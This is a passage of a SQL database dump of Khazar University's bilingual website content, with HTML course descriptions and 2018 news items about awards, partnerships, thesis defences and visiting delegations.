margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Contemporary Issues of International Relations</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course is designed to provide the postgraduate students with knowledge and understanding about the contemporary issues in international relations. The main focus of the course will be on the major discussions and issues in the global arena that shape foreign and domestic policies of world countries.&nbsp; A contextual analysis focusing on the political, economic, social and cultural factors affecting the international relations will be looked at throughout the teaching process. The particular emphasis will be on the theoretical and empirical understanding of international security and globalization. The key concepts including but not limited to war, terrorism, ethnic conflict will be analyzed during the course. Environmental issues and migration along with others will also be covered.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR552</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Comparative Regionalisms</p>\r\n  </td>\r\n  <td width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\" style=\"width: 510px; height: 146px; background-color: rgba(0, 0, 0, 0); border: 1px dotted rgb(204, 204, 204);\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The course will focus on how regionalism has evolved historically in different regions of the world and different theoretical approaches explain these developments. The traces of regionalism can be observed in almost any part of the world each having its own characteristics depending on the region and period of history. To equip students with a comprehensive understanding of conceptual understanding of regionalism and empiric knowledge of the historical development of the regionalism in different regions of the globe.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR553</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Global Security &amp; Governance</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course explores the evolution of international peace and security, as well as the role of international organizations in addressing main challenges for global security and governance.&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Purpose of this course is to introduce various theoretical approaches to international relations and to explore contemporary challenges to the global security and governance. The role of global institutions and groups, such as the United Nations, G7 and G20, as well as transnational companies will be in focus of this course.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR560</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">EU Law</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This course will provide necessary information about the European Integration from legal and institutional perspective. The aim, of course, is to provide a comprehensive understanding of the history and institutional structure of the European Communities, and analyses the law-making, the law enforcement, and the policy-making procedure within the Union, as well as, external relations of the Union. Through lectures, seminars and practical workshop, students will get relevant knowledge about the main futures of the EU Law. The main objective of this course is to familiarize students with history, institutional structure, law-making, the law enforcement, and the policy-making procedure within the Union, as well as, external relations of the Union.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">PSIR576</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><br></p>\r\n  </td>\r\n  <td width=\"126\" style=\"\" width:94.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Democracy: theory &amp; practice</p>\r\n  </td>\r\n  <td width=\"507\" style=\"\" width:380.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">This introductory course aims to provide students of social sciences with key perspectives on democratic governments with basic knowledge of historical and contemporary models of democracy. The course takes a historical approach to analyze the transformation of Western democratic tradition in comparison with local democratic transformations.&nbsp;</p>\r\n  <p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The main objective of this course is to help students understand the multiplicity of meanings historically attached to the idea of democracy and to offer the picture of how a democratic form of government should look and work like in today’s world.</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(5854,3353,'en','June issue of “Khazar Review” journal is published','June issue, 2018, of “Khazar Review” journal...','<p>June issue, 2018, of “Khazar Review” journal (number 374) has been published at the Khazar University press. The journal is available at:</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a><br></p>'),(5855,3354,'az','Xəzər Universitetində əməkdaşların təltif olunması mərasimi keçirildi','2018-ci il iyulun 10-da Xəzər Universitetində 2017-2018-ci tədris ilinin nəticələrinə...','<p>2018-ci il iyulun 10-da Xəzər Universitetində 2017-2018-ci tədris ilinin nəticələrinə əsasən səmərəli fəaliyyətlərinə görə bir qrup əməkdaşın təşəkkürnamə ilə təltif olunması mərasimi keçirildi. Universitetin rektoru Hassan Niknafs təltif olunanların adlarını açıqladı, Təhsil fakültəsinin dekan müavini Aygün Verdiyeva, Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimova, Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanova, Magistratura, doktorantura və elmi içlər bölməsinin assistenti Leyla Salayeva, İqtisadiyyat və menecment fakültəsinin dekan assistenti Xanım Nəbiyeva, Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi Tahir Məmmədov, İnformasiya texnologiyaları şöbəsinin assistenti İlkin Əlizadə və “Xəzər Xəbər” jurnalının baş redaktor müavini Əlirza Balayevə təşəkkürnamə plaketlərini təqdim etdi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, Elmi İşlər üzrə prorektor İradə Xəlilova, Təhsil fakültəsinin dekanı Elza Səmədova, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov çıxış edərək, təltif olunanların iş və şəxsi keyfiyyətlərindən danışdılar, onlara fəaliyyətlərində uğurlar arzuladılar.</p>'),(5856,3354,'en','Ceremony of Awarding Employees was held at Khazar University','On July 10, 2018, a ceremony was held at Khazar University to award a group...','<p>On July 10, 2018, a ceremony was held at Khazar University to award a group of employees for their productive activities based on the 2017-2018 academic year results. Dr. Hassan Niknafs, Rector of the University announced the names of those awarded, and presented plaques of appreciation to Aygun Verdiyeva, Vice Dean of the School of Education; Valida Kerimova, Vice Dean of the School of Humanities and Social Sciences; Vafa Aslanova, Vice Dean of the School of Engineering and Applied Sciences; Leyla Salayeva, Assistant of the Division for Graduate Students and Research; Khanim Nebiyeva, Dean’s assistent of the School of Economics and Management; Tahir Mammadov, instructor of the School of Engineering and Applied Sciences; Ilkin Alizade, Assistant of Information Technology Department and Alirza Balayev, Deputy Editor of Khazar Review journal.</p><p>Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs; Irada Khalilova, Vice Rector for Research; Elza Semedova, Dean of the School of Education and Jabir Khalilov, Dean of the School of Humanities and Social Sciences delivered speeches at the ceremony and talked about the professional and personal qualities of the awarded and wished them success in their future activities.</p>'),(5868,3361,'en','AZERTAC informs Prof. Hamlet Isakhanli delivers a report at IV \"Physics and Lyrics\" Conference','On June 17, 2018, AZERTAC posted extensive news about IV \"Physics and Lyrics\" Conference...','<p>On June 17, 2018, AZERTAC posted extensive news about IV \"Physics and Lyrics\" Conference with the topic “A pair of wings: Synthesis of Scientific Thinking and Artistic Creativity” held, on organizational support of Institute of Literature named after Nizami Ganjavi, ANAS, at the Institute of Botany, ANAS, and Central Botanical Garden. The news notes that Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered the main report entitled “From Alchemy and Al physics to Great Literature”.</p><p>Referring to AZERTAC, newspapers “Yeni Azərbaycan” and “Xalq cəbhəsi” also published the news.</p><p>The news is available at:</p>  <p><a href=\"https://azertag.az/xeber/Dorduncu_Fizika_ve_lirika_konfransi_cherchivesinde_Qosa_qanad_elmi_edebi_gecesi_kechirilib-1180384#Kalibrihttp://yeniazerbaycan.com/SonXeber_e35002_az.html#Kalibrihttp://xalqcebhesi.az/news.php?id=29059#Kalibri\">https://azertag.az/xeber/Dorduncu_Fizika_ve_lirika_konfransi_cherchivesinde_Qosa_qanad-elmi_edebi_gecesi_kechirilib-1180384#Kalibrihttp://yeniazerbaycan.com/SonXeber-e35002_az.html#Kalibrihttp://xalqcebhesi.az/news.php?id=29059#Kalibri</a></p>'),(5869,3359,'en','An article “Harmony of wings” by Academician Isa Habibbeyli touches on a book “Alchemy: Science, Art and Mysticism” by Prof.Hamlet Isakhanli','On June 14, an article “Harmony of wings” by Academician Isa Habibbeyli, Vice President of Azerbaijan...','<p>On June 14, an article “Harmony of wings” by Academician Isa Habibbeyli, Vice President of Azerbaijan National Academy of Sciences and Chairman of Committee for Science and Education of the Milli Majlis, was published in newspapers “Edebiyyat qezeti” and “525-ci qezet”. In the article, which was dedicated to scientific thinking and artistic creativity, Isa Habibbayli touches upon a book “Alchemy: Science, Art and Mysticism” by Prof.Hamlet Isakhanli, a prominent mathematician and author of many works in Humanities:</p><p><em>A book “Alchemy: Science, Art and Mysticism” by Prof. Hamlet Isakhanli, Doctor of Physics and Mathematical Sciences, published in 2018, is a monograph of huge scientific importance dedicated to the synthesis of scientific thinking with artistic thought. This book is a remarkable research work which profoundly studies scientific and literary process ranging from literature to science, more precisely from artistic creativity to alchemy and al physics or vice-versa. This book is a valuable contribution to the theory and practice of mutual relations of artistic imagination and scientific thinking of Azerbaijani science</em>.</p>'),(5870,3362,'az','Məhəmməd Əli Cinnah Universiteti ilə anlaşma memorandumu imzalandı','2018-ci il iyulun12-də Pakistanın iki universitetinin nümayəndələri Xəzər Universitetinin...','<p>2018-ci il iyulun12-də Pakistanın iki universitetinin nümayəndələri Xəzər Universitetinin “Neftçilər” kampusunda oldular.</p>\r\n<p>Universitetin rektoru, Mühəndislik və tətbiqi elmlər fakültəsinin dekanı vəzifəsini icra edən Dr. Hassan Niknafs, universitetin Elmi işlər üzrə prorektoru Dr. İradə Xəlilova və universitetin Beynəlxalq əlaqələr mərkəzinin direktoru Turan Cəfərova Məhəmməd Əli Cinnah Universitetinin Həyat elmləri fakültəsinin dekanı, Bioelmlər departamentinin müdiri Dr. Kamran Azim və NED Ətraf Mühit Mühəndisliyi Universitetinin həmsədri və dosenti Dr.&nbsp;Atif Mustafa ilə görüş keçirdilər. Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı iştirak edirdi.</p>\r\n<p>Görüş zamanı tələbə və əməkdaş mübadiləsi, birgə tədqiqatlar, qısa müddətli proqramlar və qarşılıqlı maraq doğuran digər məsələlər barəsində müzakirələr aparıldı. Görüşün sonunda anlaşma memorandumu imzalandı.</p>'),(5871,3362,'en','Memorandum of Understanding Signed with Mohammad Ali Jinnah University','On July 12, 2018, representatives from two universities in Pakistan visited Khazar University...','<p>On July 12, 2018, representatives from two universities in Pakistan visited Khazar University. The meeting took place on Neftchiler campus of Khazar University.</p>\r\n<p>Dr. Hassan Niknafs, Rector of Khazar University and Acting Dean of the School of Engineering and Applied Sciences, Assoc. Prof. Irada Khalilova, Vice-Rector for Research, and Turan Jafarova, Director of International Affairs Office met with Prof. Dr. M. Kamran Azim, Head of Department of Biosciences and Dean of Faculty of Life Sciences at Mohammad Ali Jinnah University and Dr. Atif Mustafa, Associate Professor and Co-chair at the NED University of Environmental Engineering. Prof. Hamlet Isakhanli, Founder of Khazar University, Chairman of its Board of Directors and Trustees also participated in the meeting.</p>\r\n<p>Parties discussed student and faculty exchange, joint research, short-term programs and other topics of mutual interest. A Memorandum of Understanding was signed at the end of the meeting.</p>'),(5872,3363,'az','Departament koordinatoru İstanbulda mühazirə ilə çıxış etdi','2018-ci il iyulun 13-də Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin...','<p>2018-ci il iyulun 13-də Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev “Qafqazda Avropa inteqrasiyası və regional inteqrasiya sistemləri arasında rəqabət” mövzusunda təşkil edilmiş yay məktəbində “Avropalaşma mexanizmləri vasitəsilə münaqişə həlli: Dağlıq Qarabağ münaqişəsi nümunəsində” mühazirəsi ilə çıxış etmişdir.</p><p>Yay məktəbi Qafqazda Avropaşünaslıq ixtisaslarının inkişaf etdirilməsi layhihəsi (DESCnet) çərçivəsində İstanbul Yeditepe Universitetində iyulun 9-13-də keçirilmişdir.</p>'),(5873,3363,'en','Department coordinator delivers a lecture in Istanbul','On June 13, 2018, Elmar Mustafayev, Coordinator of the Department of Political...','<p>On June 13, 2018, Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, delivered a lecture on “Europeanization and conflict resolution: the case of Nagorno-Karabakh conflict” in a summer school entitled “European Integration and Rivalry between Regional Integration Systems in the Caucasus”.&nbsp;</p><p>The summer school was held on June 9-13 at İstanbul Yeditepe University within the project “Developing European Studies in the Caucasus (DESCnet)”.</p>'),(5874,3364,'az','Təhsil fakültəsinin magistrantı dissertasiya işini müdafiə etdi','2018-ci il iyulun 13-də Xəzər Universitetinin Təhsil fakultəsinin Pedaqogika...','<p>2018-ci il iyulun 13-də Xəzər Universitetinin Təhsil fakultəsinin Pedaqogika (tarixi və nəzəriyyəsi) ixtisası üzrə magistratura tələbəsi Aytən Rəşidli “IX sinif Azərbaycan dili (dövlət dili kimi) dərs kitabındakı ədəbi mətnlərin tənqidi düşünmə bacarığı qazandırma baxımından incələnməsi” mövzusunda dissertasiya işini müdafiə etdi.</p><p>Müdafiə komissiyasının sədri professor Piralı Əliyev, magistrantın elmi rəhbəri dosent Elza Səmədova, dosent İradə Xəlilova, dosent Dilbər Zeynalova və digərlərinin iştirakı ilə keçən müdafiə iclasında magistrantın çıxışı dinlənildi. O, sualları cavablandırdı və müzakirələr aparıldı. Tədqiqat işinin aktuallığı və lazımi səviyyədə yerinə yetirildiyi nəzərə alınaraq, Aytən Rəşidliyə magistr elmi dərəcəsi verilməsi haqqında qərar qəbul edildi.</p>'),(5875,3364,'en','A graduate student of the School of Education defends Master thesis','On June 13, 2018, Aytan Rashidli, a graduate student of the School of Education majoring...','<p>On June 13, 2018, Aytan Rashidli, a graduate student of the School of Education majoring in Pedagogy (History and Theory of Pedagogy) defended a thesis with a topic “Analysis of the literary texts in the IX grade Azerbaijani language textbook (as a state language) in terms of critical thinking”.</p><p>Defence Commission was chaired by Prof. Pirali Aliyev. The defence was attended by Assoc. Prof. Elza Samadova, research supervisor of the graduate student, as well as Assoc.Prof. Irada Khalilova, Assoc.Prof. Dilbar Zeynalova and some other Faculty staff members. Upon the defence of the thesis, Aytan Rashidli answered questions and discussions were held. Taking the relevance and quality of the thesis into consideration, a Master’s degree was conferred on Aytan Rashidli.</p>'),(5876,3360,'en','Professor Hamlet Isakhanli delivers a report at IV \"Physics and Lyrics\" Conference','On June 17, 2018, IV \"Physics and Lyrics\" Conference on “A pair of wings...','<p>On June 17, 2018, IV \"Physics and Lyrics\" Conference on “A pair of wings: Synthesis of Scientific Thinking and Artistic Creativity” was held, on organizational support of Institute of Literature named after Nizami Ganjavi, ANAS, at the Institute of Botany, ANAS, and Central Botanical Garden.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered the main report entitled “From Alchemy and Al physics to Great Literature” at the conference.</p>'),(5877,3365,'az','“Azərbaycan müəllimi” qəzetində dərc olunmuş müsahibədə Xəzər Universiteti haqqında','Azərbaycan Təhsil Nazirliyinin orqanı “Azərbaycan müəllimi” qəzetinin...','<p>Azərbaycan Təhsil Nazirliyinin orqanı “Azərbaycan müəllimi” qəzetinin 2018-ci il 20 iyul tarixli nömrəsində “Clarivate Analytics” şirkətinin Azərbaycan üzrə rəsmi nümayəndəsi Aygün Babazadə ilə “<em>Akademik yazı bacarığı ali məktəblərdə öyrədilməlidir</em>” sərlövhəli müsahibə dərc olunmuşdur. Müəllif Oruc Mustafayevdir.</p><p>Aygün Babazadə müsahibəsində Azərbaycandan “Web of Science” bazasına daxil olan elmi jurnallar sırasında Xəzər Universitetinin <em>Khazar Journal of Humanities and Social Sciences</em> (“Xəzər humanitar və sosial elmlər jurnalı”) jurnalından və Xəzər Universitetində akademik müəllim heyətinin fəaliyyətinin illik qiymətləndirilməsi aparılarkən müəllimlərin topladığı balların 30 faizinin məhz elmi tədqiqat işlərinə əsaslanmasından da bəhs edir.</p><p>Müsahibənin tam mətnini bu linkdə oxumaq olar:</p><p><a href=\"http://muallim.edu.az/news.php?id=1857#Kalibri\">http://muallim.edu.az/news.php?id=1857#Kalibri</a>.</p>'),(5878,3365,'en','An article in “Azerbaijani teacher” journal touches on Khazar University','An interview with Aygun Babazadeh, an official representative of “Clarivate Analytics”...','<p>An interview with Aygun Babazadeh, an official representative of “Clarivate Analytics” company for Azerbaijan, was published in “Azerbaijani teacher” journal, on July 20, 2018, a body of the Ministry of Education. Oruj Musayev is the author of the article entitled “<em>Academic writing skills should be taught at universities</em>”.</p><p>In the interview, Aygun Babazadeh mentioned that <em>Khazar Journal of Humanities and Social Sciences</em> is among the list of scientific journals included in the Web of Science. Moreover, she noted that the academic staff of Khazar University gained 30 points in the annual assessment of the conducted research.</p><p>The interview is available through the following link:</p>  <p><a href=\"http://muallim.edu.az/news.php?id=1857#Kalibri\">http://muallim.edu.az/news.php?id=1857#Kalibri</a>.</p>'),(5879,3366,'az','Görkəmli alimə həsr olunmuş filmin təqdimatında','2018-ci il iyulun 20-də Xəzər Universitetinin Mərkəz kampusunda Azərbaycan...','<p>2018-ci il iyulun 20-də Xəzər Universitetinin Mərkəz kampusunda Azərbaycan Təhsil Şurasının təşkilatçılığı ilə görkəmli pedaqoq, əməkdar müəllim, Prezident təqaüdçüsü professor Əjdər Ağayevin həyat və yaradıcılığından bəhs edən “Müəllimlər müəllimi” sənədli filminin təqdimatı keçirildi. Təqdimatda Xəzər Universitetindən İnkişaf mərkəzinin layihə meneceri Ülkər Bayramova və “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalıst Əlirza Balayev iştirak etdilər.</p><p>Filmin nümayişindən sonra ölkənin tanınmış alimləri, pedaqoqları və təhsil ictimaiyyəti nümayəndələrinin iştirakı ilə geniş müzakirəsi keçirildi. Filmin ssenari müəllifi və quruluşçu rejissoru Əlinasir İmanlı çıxış edərək, filmin hazırlanması prosesindən danışdı. Lənkəran Dövlət Universitetinin dissertantı Ülkər Bayramova öz elmi rəhbəri Əjdər Ağayevin gənc tədqiqatçılara göstərdiyi böyük qayğıdan söhbət açdı.</p><p>Sonda yazıçı-publisist Sahib Sailov çıxış edərək, filmin yaradıcı heyətinə və iştirakçılara təşəkkürünü bildirdi.</p>'),(5880,3366,'en','Presentation of a film dedicated to a prominent scholar','On June 20, 2018, a presentation of a documentary film “Teacher of teachers” dedicated...','<p>On June 20, 2018, a presentation of a documentary film “Teacher of teachers” dedicated to life and career of Prof. Ajdar Aghayev, a prominent pedagogue, Honored Teacher, Presidential scholarship awardee, took place, on an organizational support of Azerbaijan Education Council, on the central campus of Khazar University. The presentation was attended by Ulkar Bayramova, Project Manager of Center for Development of Khazar University and Alirza Balayev, Deputy Editor-in-Chief of “Khazar Review” journal and Honored Journalist.</p><p>After the presentation, well-known scholars, pedagogues and education community representatives held a discussion on the film. Alinasir Imanli, Director and Scriptwriter of the film, talked about the process of making the film. Ulkar Bayramova, a PhD candidate of Lankaran State University, talked about Ajdar Aghayev’s, who is her PhD research supervisor, care for young researchers.</p><p>At the end, Sahib Sailov, a writer and publicist, delivered a speech and expressed his gratitude to the film crew and participants.</p>'),(5881,3367,'az','Xəzər Universitetində keçirilmiş təqdimat haqqında “Azərbaycan müəllimi” qəzetində məqalə dərc olunub','Xəbər verdiyimiz kimi, 2018-ci il iyulun 20-də Xəzər Universitetinin Mərkəz kampusunda...','<p>Xəbər verdiyimiz kimi, 2018-ci il iyulun 20-də Xəzər Universitetinin Mərkəz kampusunda Azərbaycan Təhsil Şurasının təşkilatçılığı ilə görkəmli pedaqoq, əməkdar müəllim, Prezident təqaüdçüsü professor Əjdər Ağayevin həyat və yaradıcılığından bəhs edən “Müəllimlər müəllimi” sənədli filminin təqdimatı keçirilmiş, tədbirdə universitetin əməkdaşları da iştirak etmişdilər.</p><p>Azərbaycan Təhsil Nazirliyinin orqanı “Azərbaycan müəllimi” qəzetinin 2018-ci il 23 iyul tarixli nömrəsində tədbir haqqında “Müəllimlər müəllimi” filmi təqdim olunub” sərlövhəli məqalə dərc olunub. Məqalənin müəllifi Yusif Əliyevdir.&nbsp;</p><p>Məqaləni bu linkdə oxumaq olar:&nbsp;</p><p><a href=\"http://muallim.edu.az/news.php?id=1883#Kalibri\">http://muallim.edu.az/news.php?id=1883#Kalibri</a>.</p>'),(5882,3367,'en','“Azerbaijani Teacher” newspaper publishes an article about the presentation held at Khazar University','As noted before, on June 20, 2018, on organizational support of Education Council, presentation of the documentary...','<p>As noted before, on June 20, 2018, on organizational support of Education Council, presentation of the documentary “A Teacher of Teachers”, dedicated to life and career of Prof. Ajdar Aghayev, a prominent pedagogue, Honored Teacher and Presidential Scholarship Awardee, was held at Central Campus of Khazar University which was also attended by University staff.</p><p>An article entitled Presentation of a film “A Teacher of Teachers” was published in “Azerbaijani Teacher” newspaper, June 23, 2018, a body of the Ministry of Education. Yusif Aliyev is the author of the article.</p><p>The article is available at:</p><p><a href=\"http://muallim.edu.az/news.php?id=1883#Kalibri\">http://muallim.edu.az/news.php?id=1883#Kalibri</a>.</p>'),(6147,3501,'az','Rumıniyalı nümayəndə heyəti Xəzər Universitetində oldu','2018-ci il oktyabrın 9-da “ERASMUS+” proqramı çərçivəsində Rumıniyanın Timisora Politexnik...','<p>2018-ci il oktyabrın 9-da “ERASMUS+” proqramı çərçivəsində Rumıniyanın Timisoara Politexnik Universitetinin (Politehnica University Timisoara) prorektoru professor Daniel Dan və həmin universitetin İnşaat mühəndisliyi departamentinin müəllimləri professor Tamas Nagy Gyorgy, Dr. Sorin Codrut Florut Xəzər Universitetində oldular. İlk olaraq, professor heyəti Xəzər Universitetinin rektoru Dr. Hassan Niknafs ilə görüşdülər. Görüş zamanı universitetlərarası müəllim, tələbə mübadilə proqramları, qarşılıqlı görüləcək tədqiqatlar müzakirə olundu. Həmçinin, iki universitet arasında ikili diplom proqramının detalları da müzakirə olundu.&nbsp;</p><p>Sonra isə Timisora Politexnik Universitetinin professor heyəti Xəzər Universiteti Mühəndislik və Tətbiqi Elmlər fakültəsinin İnşaat mühəndisliyi departamentinin müəllim və tələbələri üçün 3 müxtəlif mövzuda seminar verdilər.&nbsp;</p><p>Sonda seminar iştirakçılarının sualları cavablandırıldı.</p>'),(6148,3501,'en','Romanian delegation visited Khazar University','On October 9, 2018, Prof. Daniel Dan, Vice-rector of Politehnica University...','<p>On October 9, 2018, Prof. Daniel Dan, Vice-rector of Politehnica University of Timișoara, as well as Prof. Tamas Nagy Gyorgy and Dr. Sorin Codrut Florut, Instructors at the Department of Civil Engineering of the same university, visited Khazar University. The delegation met with Dr. Hassan Niknafs, Rector of Khazar University, and discussed instructor/student exchange programs and other issues of mutual interest. Moreover, the details of dual diploma programs were also discussed.</p><p>Then the delegation delivered a seminar on 3 various topics to instructors and students of the Department of Civil Engineering, the School of Engineering and Applied Sciences of Khazar University.</p><p>The seminar ended with a question and answer session.</p>'),(6166,3511,'az','Sillabuslar','Sillabuslar',''),(6167,3511,'en','Syllabus','Syllabus',''),(6168,3512,'az','Kurrikulum','Kurrikulum',''),(6169,3512,'en','Curriculum','Curriculum',''),(6170,3513,'az','Kitabxana-İnformasiya Mərkəzinin Təhsil fakültəsinin I kurs tələbələrinə təlimi','2018-ci il oktyabrın 16-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli...','<p>2018-ci il oktyabrın 16-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları Aytac Misgərli və Samirə Orucova Təhsil fakültəsinin I kurs tələbələri üçün “Kitabxana-İnformasiya Mərkəzindən istifadə qaydaları” adlı təlim keçirdi.</p><p>Təlimdə tələbələrə “Kitabxanadan istifadə qaydaları”, “Oxucu hesabının açılması”, “Elektron kataloq”, “Elektron arxiv”, “Elektron məlumat bazaları” haqqında ətraflı məlumat verildi.</p>'),(6171,3513,'en','LIC holds a training for the first-course students of the School of Education','On October 16, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center at Khazar...','<p>On October 16, 2018, Aytaj Misgarli and Samira Orujova, associates of the Library and Information Center at Khazar University, held a training “Guidelines for using the services of the Library and Information Center” for the first-course students of the School of Education.</p><p>The students were informed about “Guidelines for using the Library”, “Creating Reader Account”, “Electronic Catalogue”, “Electronic Archive” and “Electronic Database”.</p>'),(6172,3514,'az','Misir Neft Araşdırmaları İnstitutunun nümayəndə heyəti Xəzər Universitetində','2018-ci il 